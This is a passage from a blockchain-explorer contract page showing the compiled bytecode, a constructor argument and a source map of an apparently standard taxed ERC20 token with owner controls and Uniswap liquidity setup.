fd5b50506019805460ff1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611a99573d6000803e3d6000fd5b5050565b600080611aaa8385611ecb565b9050838110156118905760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105c8565b600061189083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117d4565b60008183611b5f5760405162461bcd60e51b81526004016105c89190611b6c565b5060006118058486611ef1565b60006020808352835180602085015260005b81811015611b9a57858101830151858201604001528201611b7e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461060a57600080fd5b60008060408385031215611be357600080fd5b8235611bee81611bbb565b946020939093013593505050565b600080600060608486031215611c1157600080fd5b8335611c1c81611bbb565b92506020840135611c2c81611bbb565b929592945050506040919091013590565b600060208284031215611c4f57600080fd5b813561189081611bbb565b600060208284031215611c6c57600080fd5b5035919050565b801515811461060a57600080fd5b600060208284031215611c9357600080fd5b813561189081611c73565b60008060408385031215611cb157600080fd5b8235611cbc81611bbb565b91506020830135611ccc81611bbb565b809150509250929050565b60008060408385031215611cea57600080fd5b8235611bee81611c73565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611d7b578160001904821115611d6157611d61611d2a565b80851615611d6e57918102915b93841c9390800290611d45565b509250929050565b600082611d9257506001610598565b81611d9f57506000610598565b8160018114611db55760028114611dbf57611ddb565b6001915050610598565b60ff841115611dd057611dd0611d2a565b50506001821b610598565b5060208310610133831016604e8410600b8410161715611dfe575081810a610598565b611e088383611d40565b8060001904821115611e1c57611e1c611d2a565b029392505050565b600061189060ff841683611d83565b808202811582820484141761059857610598611d2a565b600060208284031215611e5c57600080fd5b815161189081611c73565b600060208284031215611e7957600080fd5b815161189081611bbb565b600080600060608486031215611e9957600080fd5b8351925060208401519150604084015190509250925092565b600060018201611ec457611ec4611d2a565b5060010190565b8082018082111561059857610598611d2a565b8181038181111561059857610598611d2a565b600082611f0e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b81811015611f7b5784516001600160a01b031683529383019391830191600101611f56565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122064f0a2c9fe1330e93856cc2c46f2d15e15b831ccf3231499fdf7eef872d024f064736f6c63430008190033000000000000000000000000e0881ba1e73d90216c73a475dc1b12210da0a86e

Deployed Bytecode

0x6080604052600436106101c65760003560e01c80637d1db4a5116100f7578063bf474bed11610095578063e68d0b0511610064578063e68d0b0514610502578063f2fde38b14610522578063f5b3c3bf14610542578063fb201b1d1461057257600080fd5b8063bf474bed14610466578063c4e2b6191461047c578063d45cce651461049c578063dd62ed3e146104bc57600080fd5b806390b60549116100d157806390b605491461040657806390d49b9d1461042657806395d89b41146101d2578063a9059cbb1461044657600080fd5b80637d1db4a5146103bc5780638da5cb5b146103d25780638f9a55c0146103f057600080fd5b8063313ce567116101645780636e4636671161013e5780636e4636671461033c57806370a082311461035c578063715018a614610392578063751039fc146103a757600080fd5b8063313ce567146102c857806349bd5a5e146102e457806353bc13dc1461031c57600080fd5b80630faee56f116101a05780630faee56f1461025957806310c435aa1461027d57806318160ddd1461029357806323b872dd146102a857600080fd5b806306fdde03146101d2578063095ea7b3146102125780630f144a481461024257600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b50604080518082018252600881526725a0a127a1a420a760c11b602082015290516102099190611b6c565b60405180910390f35b34801561021e57600080fd5b5061023261022d366004611bd0565b610587565b6040519015158152602001610209565b34801561024e57600080fd5b5061025761059e565b005b34801561026557600080fd5b5061026f60155481565b604051908152602001610209565b34801561028957600080fd5b5061026f60185481565b34801561029f57600080fd5b5061026f61060d565b3480156102b457600080fd5b506102326102c3366004611bfc565b61062e565b3480156102d457600080fd5b5060405160098152602001610209565b3480156102f057600080fd5b50601754610304906001600160a01b031681565b6040516001600160a01b039091168152602001610209565b34801561032857600080fd5b50610257610337366004611c3d565b610697565b34801561034857600080fd5b50610257610357366004611c5a565b6106e5565b34801561036857600080fd5b5061026f610377366004611c3d565b6001600160a01b031660009081526001602052604090205490565b34801561039e57600080fd5b50610257610714565b3480156103b357600080fd5b50610257610788565b3480156103c857600080fd5b5061026f60125481565b3480156103de57600080fd5b506000546001600160a01b0316610304565b3480156103fc57600080fd5b5061026f60135481565b34801561041257600080fd5b50610257610421366004611c81565b61083a565b34801561043257600080fd5b50610257610441366004611c3d565b610880565b34801561045257600080fd5b50610232610461366004611bd0565b6108cc565b34801561047257600080fd5b5061026f60145481565b34801561048857600080fd5b50610257610497366004611bd0565b6108d9565b3480156104a857600080fd5b506019546102329062010000900460ff1681565b3480156104c857600080fd5b5061026f6104d7366004611c9e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561050e57600080fd5b5061025761051d366004611cd7565b61097f565b34801561052e57600080fd5b5061025761053d366004611c3d565b6109c7565b34801561054e57600080fd5b5061023261055d366004611c3d565b60046020526000908152604090205460ff1681565b34801561057e57600080fd5b50610257610ab1565b6000610594338484610eb4565b5060015b92915050565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016105c890611cf5565b60405180910390fd5b6006546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561060a573d6000803e3d6000fd5b50565b600061061b6009600a611e24565b61062990633b9aca00611e33565b905090565b600061063b848484610fd8565b61068d843361068885604051806060016040528060288152602001611f9d602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906117d4565b610eb4565b5060019392505050565b6000546001600160a01b031633146106c15760405162461bcd60e51b81526004016105c890611cf5565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016105c890611cf5565b601855565b6000546001600160a01b0316331461073e5760405162461bcd60e51b81526004016105c890611cf5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107b25760405162461bcd60e51b81526004016105c890611cf5565b6107be6009600a611e24565b6107cc90633b9aca00611e33565b6012556107db6009600a611e24565b6107e990633b9aca00611e33565b6013557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108196009600a611e24565b61082790633b9aca00611e33565b60405190815260200160405180910390a1565b6000546001600160a01b031633146108645760405162461bcd60e51b81526004016105c890611cf5565b60198054911515620100000262ff000019909216919091179055565b6000546001600160a01b031633146108aa5760405162461bcd60e51b81526004016105c890611cf5565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000610594338484610fd8565b6000546001600160a01b031633146109035760405162461bcd60e51b81526004016105c890611cf5565b60065460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610956573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097a9190611e4a565b505050565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016105c890611cf5565b601980549215156101000261ff001990931692909217909155601555565b6000546001600160a01b031633146109f15760405162461bcd60e51b81526004016105c890611cf5565b6001600160a01b038116610a565760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105c8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610adb5760405162461bcd60e51b81526004016105c890611cf5565b601754600160a01b900460ff1615610b355760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105c8565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b7e903090610b706009600a611e24565b61068890633b9aca00611e33565b601660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bd1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf59190611e67565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c7b9190611e67565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610cc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cec9190611e67565b601780546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556016541663f305d7194730610d6c816001600160a01b031660009081526001602052604090205490565b600080610d816000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610de9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e0e9190611e84565b505060175460165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8b9190611e4a565b506019805461ff0019166101001790556017805460ff60a01b1916600160a01b17905543600755565b6001600160a01b038316610f165760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c8565b6001600160a01b038216610f775760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c8565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661103c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c8565b6001600160a01b03821661109e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c8565b600081116111005760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105c8565b6000816111156000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561114457506000546001600160a01b03858116911614155b1561169057611175606461116f600c54600f541161116457600854611168565b600a545b869061180e565b90611897565b915060075443036112005743600090815260056020526040902054603c116111df5760405162461bcd60e51b815260206004820181905260248201527f457863656564732062757973206f6e2074686520666972737420626c6f636b2e60448201526064016105c8565b4360009081526005602052604081208054916111fa83611eb2565b91905055505b6001600160a01b03851660009081526004602052604090205460ff16801561123657506016546001600160a01b03858116911614155b801561125b57506001600160a01b03841660009081526003602052604090205460ff16155b15611343576012548311156112b25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105c8565b601354836112d5866001600160a01b031660009081526001602052604090205490565b6112df9190611ecb565b111561132d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105c8565b600f805490600061133d83611eb2565b91905055505b6001600160a01b03841660009081526004602052604090205460ff1615801561138557506001600160a01b03841660009081526003602052604090205460ff16155b1561140557601354836113ad866001600160a01b031660009081526001602052604090205490565b6113b79190611ecb565b11156114055760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105c8565b6001600160a01b03841660009081526004602052604090205460ff16801561143657506001600160a01b0385163014155b1561146357611460606461116f600d54600f541161145657600954611168565b600b54869061180e565b91505b6001600160a01b038516301480159061149457506001600160a01b03851660009081526003602052604090205460ff165b156114e157600060125484116114ac575060166114df565b600d54600f54116114bf576009546114c3565b600b545b6012549091506114dc906114d7848461180e565b6118d9565b91505b505b6001600160a01b03851660009081526004602052604090205460ff1615801561152357506001600160a01b03841660009081526004602052604090205460ff16155b801561153857506001600160a01b0385163014155b1561154257600091505b3060009081526001602052604090205460195462010000900460ff16801561156d575060195460ff16155b801561159157506001600160a01b03851660009081526004602052604090205460ff165b80156115a45750601954610100900460ff165b80156115b35750600e54600f54115b15611613576011544311156115c85760006010555b6014548111156115ea576115ea6115e5856114d7846015546118d9565b6118ee565b476115f447611a5f565b6010805490600061160483611eb2565b9091555050436011555061168e565b60195460ff1615801561163e57506001600160a01b03851660009081526004602052604090205460ff165b80156116515750601954610100900460ff165b80156116605750600e54600f54115b1561168e57601454811115611682576116826115e5856114d7846015546118d9565b4761168c47611a5f565b505b505b811561170a57306000908152600160205260409020546116b09083611a9d565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117019086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461172d9082611afc565b6001600160a01b0386166000908152600160205260409020556117726117538484611afc565b6001600160a01b03861660009081526001602052604090205490611a9d565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117bc8686611afc565b60405190815260200160405180910390a35050505050565b600081848411156117f85760405162461bcd60e51b81526004016105c89190611b6c565b5060006118058486611ede565b95945050505050565b60008260000361182057506000610598565b600061182c8385611e33565b9050826118398583611ef1565b146118905760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105c8565b9392505050565b600061189083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b3e565b60008183116118e85782611890565b50919050565b6019805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061193057611930611f13565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611989573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119ad9190611e67565b816001815181106119c0576119c0611f13565b6001600160a01b0392831660209182029290920101526016546119e69130911684610eb4565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a1f908590600090869030904290600401611f29565b600060405180830381600087803b158015611a3957600080fd5b505af1158015611a4d573d6000803e3d6000fd5b50506019805460ff1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611a99573d6000803e3d6000fd5b5050565b600080611aaa8385611ecb565b9050838110156118905760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105c8565b600061189083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117d4565b60008183611b5f5760405162461bcd60e51b81526004016105c89190611b6c565b5060006118058486611ef1565b60006020808352835180602085015260005b81811015611b9a57858101830151858201604001528201611b7e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461060a57600080fd5b60008060408385031215611be357600080fd5b8235611bee81611bbb565b946020939093013593505050565b600080600060608486031215611c1157600080fd5b8335611c1c81611bbb565b92506020840135611c2c81611bbb565b929592945050506040919091013590565b600060208284031215611c4f57600080fd5b813561189081611bbb565b600060208284031215611c6c57600080fd5b5035919050565b801515811461060a57600080fd5b600060208284031215611c9357600080fd5b813561189081611c73565b60008060408385031215611cb157600080fd5b8235611cbc81611bbb565b91506020830135611ccc81611bbb565b809150509250929050565b60008060408385031215611cea57600080fd5b8235611bee81611c73565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611d7b578160001904821115611d6157611d61611d2a565b80851615611d6e57918102915b93841c9390800290611d45565b509250929050565b600082611d9257506001610598565b81611d9f57506000610598565b8160018114611db55760028114611dbf57611ddb565b6001915050610598565b60ff841115611dd057611dd0611d2a565b50506001821b610598565b5060208310610133831016604e8410600b8410161715611dfe575081810a610598565b611e088383611d40565b8060001904821115611e1c57611e1c611d2a565b029392505050565b600061189060ff841683611d83565b808202811582820484141761059857610598611d2a565b600060208284031215611e5c57600080fd5b815161189081611c73565b600060208284031215611e7957600080fd5b815161189081611bbb565b600080600060608486031215611e9957600080fd5b8351925060208401519150604084015190509250925092565b600060018201611ec457611ec4611d2a565b5060010190565b8082018082111561059857610598611d2a565b8181038181111561059857610598611d2a565b600082611f0e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b81811015611f7b5784516001600160a01b031683529383019391830191600101611f56565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122064f0a2c9fe1330e93856cc2c46f2d15e15b831ccf3231499fdf7eef872d024f064736f6c63430008190033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000e0881ba1e73d90216c73a475dc1b12210da0a86e

-----Decoded View---------------
Arg [0] : _w (address): 0xE0881Ba1e73D90216c73a475DC1b12210da0A86E

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000e0881ba1e73d90216c73a475dc1b12210da0a86e


Deployed Bytecode Sourcemap

3882:9860:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5933:83;;;;;;;;;;-1:-1:-1;6003:5:0;;;;;;;;;;;-1:-1:-1;;;6003:5:0;;;;5933:83;;;;6003:5;5933:83;:::i;:::-;;;;;;;;6766:161;;;;;;;;;;-1:-1:-1;6766:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6766:161:0;1023:187:1;12230:111:0;;;;;;;;;;;;;:::i;:::-;;5122:41;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5122:41:0;1215:177:1;5287:32:0;;;;;;;;;;;;;;;;6210:95;;;;;;;;;;;;;:::i;6935:313::-;;;;;;;;;;-1:-1:-1;6935:313:0;;;;;:::i;:::-;;:::i;6119:83::-;;;;;;;;;;-1:-1:-1;6119:83:0;;4764:1;2000:36:1;;1988:2;1973:18;6119:83:0;1858:184:1;5221:28:0;;;;;;;;;;-1:-1:-1;5221:28:0;;;;-1:-1:-1;;;;;5221:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;5221:28:0;2047:203:1;7599:96:0;;;;;;;;;;-1:-1:-1;7599:96:0;;;;;:::i;:::-;;:::i;12017:102::-;;;;;;;;;;-1:-1:-1;12017:102:0;;;;;:::i;:::-;;:::i;6313:119::-;;;;;;;;;;-1:-1:-1;6313:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6406:18:0;6379:7;6406:18;;;:9;:18;;;;;;;6313:119;2713:148;;;;;;;;;;;;;:::i;12629:159::-;;;;;;;;;;;;;:::i;4957:54::-;;;;;;;;;;;;;;;;2499:79;;;;;;;;;;-1:-1:-1;2537:7:0;2564:6;-1:-1:-1;;;;;2564:6:0;2499:79;;5018:55;;;;;;;;;;;;;;;;12127:95;;;;;;;;;;-1:-1:-1;12127:95:0;;;;;:::i;:::-;;:::i;12505:116::-;;;;;;;;;;-1:-1:-1;12505:116:0;;;;;:::i;:::-;;:::i;6440:167::-;;;;;;;;;;-1:-1:-1;6440:167:0;;;;;:::i;:::-;;:::i;5080:35::-;;;;;;;;;;;;;;;;12349:148;;;;;;;;;;-1:-1:-1;12349:148:0;;;;;:::i;:::-;;:::i;5399:29::-;;;;;;;;;;-1:-1:-1;5399:29:0;;;;;;;;;;;6615:143;;;;;;;;;;-1:-1:-1;6615:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6723:18:0;;;6696:7;6723:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6615:143;11866;;;;;;;;;;-1:-1:-1;11866:143:0;;;;;:::i;:::-;;:::i;2869:244::-;;;;;;;;;;-1:-1:-1;2869:244:0;;;;;:::i;:::-;;:::i;4145:43::-;;;;;;;;;;-1:-1:-1;4145:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12896:806;;;;;;;;;;;;;:::i;6766:161::-;6841:4;6858:39;334:10;6881:7;6890:6;6858:8;:39::i;:::-;-1:-1:-1;6915:4:0;6766:161;;;;;:::o;12230:111::-;2626:6;;-1:-1:-1;;;;;2626:6:0;334:10;2626:22;2618:67;;;;-1:-1:-1;;;2618:67:0;;;;;;;:::i;:::-;;;;;;;;;12290:10:::1;::::0;12282:51:::1;::::0;-1:-1:-1;;;;;12290:10:0;;::::1;::::0;12311:21:::1;12282:51:::0;::::1;;;::::0;12290:10:::1;12282:51:::0;12290:10;12282:51;12311:21;12290:10;12282:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12230:111::o:0;6210:95::-;6263:7;4823:13;4764:1;4823:2;:13;:::i;:::-;4807:29;;:13;:29;:::i;:::-;6283:14;;6210:95;:::o;6935:313::-;7033:4;7050:36;7060:6;7068:9;7079:6;7050:9;:36::i;:::-;7097:121;7106:6;334:10;7128:89;7166:6;7128:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7128:19:0;;;;;;:11;:19;;;;;;;;334:10;7128:33;;;;;;;;;;:37;:89::i;:::-;7097:8;:121::i;:::-;-1:-1:-1;7236:4:0;6935:313;;;;;:::o;7599:96::-;2626:6;;-1:-1:-1;;;;;2626:6:0;334:10;2626:22;2618:67;;;;-1:-1:-1;;;2618:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7664:16:0::1;;::::0;;;:10:::1;:16;::::0;;;;:23;;-1:-1:-1;;7664:23:0::1;7683:4;7664:23;::::0;;7599:96::o;12017:102::-;2626:6;;-1:-1:-1;;;;;2626:6:0;334:10;2626:22;2618:67;;;;-1:-1:-1;;;2618:67:0;;;;;;;:::i;:::-;12089:13:::1;:22:::0;12017:102::o;2713:148::-;2626:6;;-1:-1:-1;;;;;2626:6:0;334:10;2626:22;2618:67;;;;-1:-1:-1;;;2618:67:0;;;;;;;:::i;:::-;2820:1:::1;2804:6:::0;;2783:40:::1;::::0;-1:-1:-1;;;;;2804:6:0;;::::1;::::0;2783:40:::1;::::0;2820:1;;2783:40:::1;2851:1;2834:19:::0;;-1:-1:-1;;;;;;2834:19:0::1;::::0;;2713:148::o;12629:159::-;2626:6;;-1:-1:-1;;;;;2626:6:0;334:10;2626:22;2618:67;;;;-1:-1:-1;;;2618:67:0;;;;;;;:::i;:::-;4823:13:::1;4764:1;4823:2;:13;:::i;:::-;4807:29;::::0;:13:::1;:29;:::i;:::-;12682:12;:22:::0;4823:13:::1;4764:1;4823:2;:13;:::i;:::-;4807:29;::::0;:13:::1;:29;:::i;:::-;12715:14;:22:::0;12753:27:::1;4823:13;4764:1;4823:2;:13;:::i;:::-;4807:29;::::0;:13:::1;:29;:::i;:::-;12753:27;::::0;1361:25:1;;;1349:2;1334:18;12753:27:0::1;;;;;;;12629:159::o:0;12127:95::-;2626:6;;-1:-1:-1;;;;;2626:6:0;334:10;2626:22;2618:67;;;;-1:-1:-1;;;2618:67:0;;;;;;;:::i;:::-;12194:10:::1;:20:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;12194:20:0;;::::1;::::0;;;::::1;::::0;;12127:95::o;12505:116::-;2626:6;;-1:-1:-1;;;;;2626:6:0;334:10;2626:22;2618:67;;;;-1:-1:-1;;;2618:67:0;;;;;;;:::i;:::-;12579:10:::1;:34:::0;;-1:-1:-1;;;;;;12579:34:0::1;-1:-1:-1::0;;;;;12579:34:0;;;::::1;::::0;;;::::1;::::0;;12505:116::o;6440:167::-;6518:4;6535:42;334:10;6559:9;6570:6;6535:9;:42::i;12349:148::-;2626:6;;-1:-1:-1;;;;;2626:6:0;334:10;2626:22;2618:67;;;;-1:-1:-1;;;2618:67:0;;;;;;;:::i;:::-;12469:10:::1;::::0;12441:48:::1;::::0;-1:-1:-1;;;12441:48:0;;-1:-1:-1;;;;;12469:10:0;;::::1;12441:48;::::0;::::1;5993:51:1::0;6060:18;;;6053:34;;;12441:27:0;;::::1;::::0;::::1;::::0;5966:18:1;;12441:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12349:148:::0;;:::o;11866:143::-;2626:6;;-1:-1:-1;;;;;2626:6:0;334:10;2626:22;2618:67;;;;-1:-1:-1;;;2618:67:0;;;;;;;:::i;:::-;11949:11:::1;:21:::0;;;::::1;;;;-1:-1:-1::0;;11949:21:0;;::::1;::::0;;;::::1;::::0;;;11981:11:::1;:20:::0;11866:143::o;2869:244::-;2626:6;;-1:-1:-1;;;;;2626:6:0;334:10;2626:22;2618:67;;;;-1:-1:-1;;;2618:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2958:22:0;::::1;2950:73;;;::::0;-1:-1:-1;;;2950:73:0;;6550:2:1;2950:73:0::1;::::0;::::1;6532:21:1::0;6589:2;6569:18;;;6562:30;6628:34;6608:18;;;6601:62;-1:-1:-1;;;6679:18:1;;;6672:36;6725:19;;2950:73:0::1;6348:402:1::0;2950:73:0::1;3060:6;::::0;;3039:38:::1;::::0;-1:-1:-1;;;;;3039:38:0;;::::1;::::0;3060:6;::::1;::::0;3039:38:::1;::::0;::::1;3088:6;:17:::0;;-1:-1:-1;;;;;;3088:17:0::1;-1:-1:-1::0;;;;;3088:17:0;;;::::1;::::0;;;::::1;::::0;;2869:244::o;12896:806::-;2626:6;;-1:-1:-1;;;;;2626:6:0;334:10;2626:22;2618:67;;;;-1:-1:-1;;;2618:67:0;;;;;;;:::i;:::-;12958:11:::1;::::0;-1:-1:-1;;;12958:11:0;::::1;;;12957:12;12949:47;;;::::0;-1:-1:-1;;;12949:47:0;;6957:2:1;12949:47:0::1;::::0;::::1;6939:21:1::0;6996:2;6976:18;;;6969:30;7035:25;7015:18;;;7008:53;7078:18;;12949:47:0::1;6755:347:1::0;12949:47:0::1;13007:15;:80:::0;;-1:-1:-1;;;;;;13007:80:0::1;13044:42;13007:80:::0;;::::1;::::0;;;13098:58:::1;::::0;13115:4:::1;::::0;4823:13:::1;4764:1;4823:2;:13;:::i;:::-;4807:29;::::0;:13:::1;:29;:::i;13098:58::-;13201:15;;;;;;;;;-1:-1:-1::0;;;;;13201:15:0::1;-1:-1:-1::0;;;;;13201:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13183:55:0::1;;13247:4;13254:15;;;;;;;;;-1:-1:-1::0;;;;;13254:15:0::1;-1:-1:-1::0;;;;;13254:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13183:94;::::0;-1:-1:-1;;;;;;13183:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7593:15:1;;;13183:94:0::1;::::0;::::1;7575:34:1::0;7645:15;;7625:18;;;7618:43;7510:18;;13183:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13167:13;:110:::0;;-1:-1:-1;;;;;13167:110:0;;::::1;-1:-1:-1::0;;;;;;13167:110:0;;::::1;::::0;::::1;::::0;;:13:::1;13288:34:::0;;;:10:::1;:34;::::0;;;;;;;:41;;-1:-1:-1;;13288:41:0;;::::1;13167:110:::0;13288:41;;::::1;::::0;;;13356:13;;;::::1;13340:31:::0;;:7:::1;:31:::0;;;;;;:38;;;;::::1;;::::0;;13389:15:::1;::::0;::::1;:31;13428:21;13459:4;13465:24;13459:4:::0;-1:-1:-1;;;;;6406:18:0;6379:7;6406:18;;;:9;:18;;;;;;;6313:119;13465:24:::1;13490:1;13492::::0;13494:7:::1;2537::::0;2564:6;-1:-1:-1;;;;;2564:6:0;;2499:79;13494:7:::1;13389:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13389:129:0;;;-1:-1:-1;;;;;8031:15:1;;;13389:129:0::1;::::0;::::1;8013:34:1::0;8063:18;;;8056:34;;;;8106:18;;;8099:34;;;;8149:18;;;8142:34;8213:15;;;8192:19;;;8185:44;13502:15:0::1;8245:19:1::0;;;8238:35;7947:19;;13389:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13536:13:0::1;::::0;13567:15:::1;::::0;13529:71:::1;::::0;-1:-1:-1;;;13529:71:0;;-1:-1:-1;;;;;13567:15:0;;::::1;13529:71;::::0;::::1;5993:51:1::0;-1:-1:-1;;6060:18:1;;;6053:34;13536:13:0;::::1;::::0;-1:-1:-1;13529:29:0::1;::::0;5966:18:1;;13529:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13611:11:0::1;:18:::0;;-1:-1:-1;;13611:18:0::1;;;::::0;;13640:11:::1;:18:::0;;-